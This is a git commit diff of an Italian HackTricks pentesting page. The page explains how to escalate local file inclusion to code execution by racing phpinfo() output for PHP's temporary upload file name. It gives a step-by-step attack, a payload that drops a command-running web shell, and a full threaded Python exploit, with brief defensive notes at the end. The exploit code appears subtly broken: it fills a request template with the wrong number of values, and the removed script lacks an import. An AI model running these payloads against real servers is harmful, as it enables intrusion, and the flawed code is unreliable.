mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']
This commit is contained in:
parent
40d8d3a864
commit
c41160ecdd
@ -1,55 +1,160 @@
|
||||
# LFI to RCE via PHPInfo
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Per sfruttare questa vulnerabilità hai bisogno di: **Una vulnerabilità LFI, una pagina dove viene visualizzato phpinfo(), "file_uploads = on" e il server deve essere in grado di scrivere nella directory "/tmp".**
|
||||
Per sfruttare questa tecnica hai bisogno di tutto quanto segue:
|
||||
- Una pagina raggiungibile che stampa l'output di phpinfo().
|
||||
- Una Local File Inclusion (LFI) primitive che controlli (es. include/require basati su input utente).
|
||||
- Gli upload di file in PHP abilitati (file_uploads = On). Qualsiasi script PHP accetta multipart uploads RFC1867 e crea un file temporaneo per ogni parte caricata.
|
||||
- Il worker PHP deve poter scrivere nella upload_tmp_dir configurata (o nella directory temporanea di sistema di default) e la tua LFI deve poter includere quel percorso.
|
||||
|
||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
Write-up classico e PoC originale:
|
||||
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
|
||||
- Nome script PoC originale: phpinfolfi.py (vedi whitepaper e mirrors)
|
||||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||||
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
|
||||
|
||||
Devi correggere lo sfruttamento (cambiare **=>** in **=>**). Per farlo puoi fare:
|
||||
Note sul PoC originale
|
||||
- L'output di phpinfo() è codificato in HTML, quindi la freccia "=>" spesso appare come "=>". Se riutilizzi script legacy, assicurati che cerchino entrambe le codifiche quando analizzano il valore _FILES[tmp_name].
|
||||
- Devi adattare il payload (il tuo codice PHP), REQ1 (la request verso l'endpoint phpinfo() compreso il padding) e LFIREQ (la request verso il tuo sink LFI). Alcuni target non richiedono un terminatore null-byte (%00) e le versioni moderne di PHP non lo rispetteranno. Adatta di conseguenza LFIREQ allo sink vulnerabile.
|
||||
|
||||
Esempio sed (solo se usi davvero il vecchio PoC in Python2) per corrispondere alla freccia codificata in HTML:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
|
||||
```
|
||||
Devi anche cambiare il **payload** all'inizio dell'exploit (per un php-rev-shell ad esempio), il **REQ1** (questo dovrebbe puntare alla pagina phpinfo e dovrebbe avere il padding incluso, cioè: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), e **LFIREQ** (questo dovrebbe puntare alla vulnerabilità LFI, cioè: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Controlla il doppio "%" quando sfrutti il carattere nullo)
|
||||
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### Teoria
|
||||
## Teoria
|
||||
|
||||
Se gli upload sono consentiti in PHP e provi a caricare un file, questo file viene memorizzato in una directory temporanea fino a quando il server ha finito di elaborare la richiesta, poi questo file temporaneo viene eliminato.
|
||||
- Quando PHP riceve un POST multipart/form-data con un campo file, scrive il contenuto in un file temporaneo (upload_tmp_dir o il default del sistema operativo) ed espone il percorso in $_FILES['<field>']['tmp_name']. Il file viene rimosso automaticamente alla fine della richiesta a meno che non venga spostato/rinominato.
|
||||
- Il trucco è scoprire il nome temporaneo e includerlo tramite il tuo LFI prima che PHP lo elimini. phpinfo() stampa $_FILES, incluso tmp_name.
|
||||
- Gonfiando gli header/parametri della richiesta (padding) puoi far sì che blocchi iniziali dell'output di phpinfo() vengano inviati al client prima che la richiesta finisca, così puoi leggere tmp_name mentre il file temporaneo esiste ancora e poi immediatamente richiamare l'LFI con quel percorso.
|
||||
|
||||
Quindi, se hai trovato una vulnerabilità LFI nel server web, puoi provare a indovinare il nome del file temporaneo creato e sfruttare un RCE accedendo al file temporaneo prima che venga eliminato.
|
||||
Su Windows i file temporanei si trovano comunemente in qualcosa come C:\\Windows\\Temp\\php*.tmp. Su Linux/Unix di solito sono in /tmp o nella directory configurata in upload_tmp_dir.
|
||||
|
||||
In **Windows** i file sono solitamente memorizzati in **C:\Windows\temp\php**
|
||||
## Flusso d'attacco (passo dopo passo)
|
||||
|
||||
In **linux** il nome del file di solito è **random** e si trova in **/tmp**. Poiché il nome è casuale, è necessario **estrarre da qualche parte il nome del file temporaneo** e accedervi prima che venga eliminato. Questo può essere fatto leggendo il valore della **variabile $\_FILES** all'interno del contenuto della funzione "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Quindi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte di phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI.
|
||||
|
||||
**Script Python per provare a forzare il nome (se la lunghezza = 6)**
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
import sys
|
||||
|
||||
print('[+] Trying to win the race')
|
||||
f = {'file': open('shell.php', 'rb')}
|
||||
for _ in range(4096 * 4096):
|
||||
requests.post('http://target.com/index.php?c=index.php', f)
|
||||
|
||||
|
||||
print('[+] Bruteforcing the inclusion')
|
||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||||
r = requests.get(url)
|
||||
if 'load average' in r.text: # <?php echo system('uptime');
|
||||
print('[+] We have got a shell: ' + url)
|
||||
sys.exit(0)
|
||||
|
||||
print('[x] Something went wrong, please try again')
|
||||
1) Prepara un piccolo payload PHP che persista una shell rapidamente per evitare di perdere la race (scrivere un file è generalmente più veloce che aspettare una reverse shell):
|
||||
```
|
||||
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
|
||||
```
|
||||
2) Invia una grande POST multipart direttamente alla pagina phpinfo() in modo che venga creato un file temporaneo che contiene il tuo payload. Gonfia vari header/cookie/param con ~5–10KB di padding per favorire l'output anticipato. Assicurati che il nome del campo del form corrisponda a quello che parserai in $_FILES.
|
||||
|
||||
3) Mentre la risposta di phpinfo() è ancora in streaming, analizza il corpo parziale per estrarre $_FILES['<field>']['tmp_name'] (HTML-encoded). Non appena hai il percorso assoluto completo (es., /tmp/php3Fz9aB), esegui il tuo LFI per includere quel percorso. Se include() esegue il file temporaneo prima che venga cancellato, il tuo payload viene eseguito e deposita /tmp/.p.php.
|
||||
|
||||
4) Usa il file creato: GET /vuln.php?include=/tmp/.p.php&x=id (o dove il tuo LFI ti permette di includerlo) per eseguire comandi in modo affidabile.
|
||||
|
||||
> Suggerimenti
|
||||
> - Usa più worker concorrenti per aumentare le probabilità di vincere la race.
|
||||
> - Posizionamenti del padding che comunemente aiutano: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Adatta per il target.
|
||||
> - Se il sink vulnerabile appende un'estensione (es., .php), non hai bisogno di un null byte; include() eseguirà PHP indipendentemente dall'estensione del file temporaneo.
|
||||
|
||||
## PoC Python 3 minimale (basato su socket)
|
||||
|
||||
Lo snippet qui sotto si concentra sulle parti critiche ed è più facile da adattare rispetto allo script legacy Python2. Personalizza HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import re, html, socket, threading
|
||||
|
||||
HOST = 'target.local'
|
||||
PORT = 80
|
||||
PHPSCRIPT = '/phpinfo.php'
|
||||
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
|
||||
THREADS = 10
|
||||
|
||||
PAYLOAD = (
|
||||
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
|
||||
)
|
||||
BOUND = '---------------------------7dbff1ded0714'
|
||||
PADDING = 'A' * 6000
|
||||
REQ1_DATA = (f"{BOUND}\r\n"
|
||||
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
|
||||
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
|
||||
|
||||
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
|
||||
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
|
||||
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
|
||||
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
|
||||
|
||||
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
|
||||
|
||||
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
|
||||
|
||||
|
||||
def race_once():
|
||||
s1 = socket.socket()
|
||||
s2 = socket.socket()
|
||||
s1.connect((HOST, PORT))
|
||||
s2.connect((HOST, PORT))
|
||||
s1.sendall(REQ1.encode())
|
||||
buf = b''
|
||||
tmp = None
|
||||
while True:
|
||||
chunk = s1.recv(4096)
|
||||
if not chunk:
|
||||
break
|
||||
buf += chunk
|
||||
m = pat.search(html.unescape(buf.decode(errors='ignore')))
|
||||
if m:
|
||||
tmp = m.group(1)
|
||||
break
|
||||
ok = False
|
||||
if tmp:
|
||||
req = (LFI % tmp).encode() % HOST.encode()
|
||||
s2.sendall(req)
|
||||
r = s2.recv(4096)
|
||||
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
|
||||
s1.close(); s2.close()
|
||||
return ok
|
||||
|
||||
if __name__ == '__main__':
|
||||
hit = False
|
||||
def worker():
|
||||
nonlocal_hit = False
|
||||
while not hit and not nonlocal_hit:
|
||||
nonlocal_hit = race_once()
|
||||
if nonlocal_hit:
|
||||
print('[+] Won the race, payload dropped as /tmp/.p.php')
|
||||
exit(0)
|
||||
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
|
||||
[t.start() for t in ts]
|
||||
[t.join() for t in ts]
|
||||
```
|
||||
## Risoluzione dei problemi
|
||||
- Non vedi mai tmp_name: assicurati di inviare effettivamente una POST multipart/form-data a phpinfo(). phpinfo() stampa $_FILES solo quando è presente un campo di upload.
|
||||
- L'output non viene inviato (flush) precocemente: aumenta il padding, aggiungi header più grandi o invia più richieste concorrenti. Alcuni SAPIs/buffer non svuotano l'output fino a soglie maggiori; regolati di conseguenza.
|
||||
- Percorso LFI bloccato da open_basedir o chroot: devi puntare l'LFI a un percorso consentito o passare a un diverso vettore LFI2RCE.
|
||||
- Directory temporanea non /tmp: phpinfo() stampa il percorso tmp_name assoluto completo; usa esattamente quel percorso nell'LFI.
|
||||
|
||||
## Note difensive
|
||||
- Non esporre mai phpinfo() in produzione. Se necessario, limitarne l'accesso per IP/autenticazione e rimuoverlo dopo l'uso.
|
||||
- Mantieni file_uploads disabilitato se non necessario. Altrimenti, limita upload_tmp_dir a un percorso non raggiungibile tramite include() nell'applicazione e applica una validazione rigorosa su qualsiasi percorso include/require.
|
||||
- Considera qualsiasi LFI critico; anche senza phpinfo(), esistono altri percorsi LFI→RCE.
|
||||
|
||||
## Tecniche HackTricks correlate
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Riferimenti
|
||||
- LFI With PHPInfo() Assistance whitepaper (2011) – mirror di Packet Storm: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
|
||||
- Manuale PHP – caricamenti con metodo POST: https://www.php.net/manual/en/features.file-upload.post-method.php
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user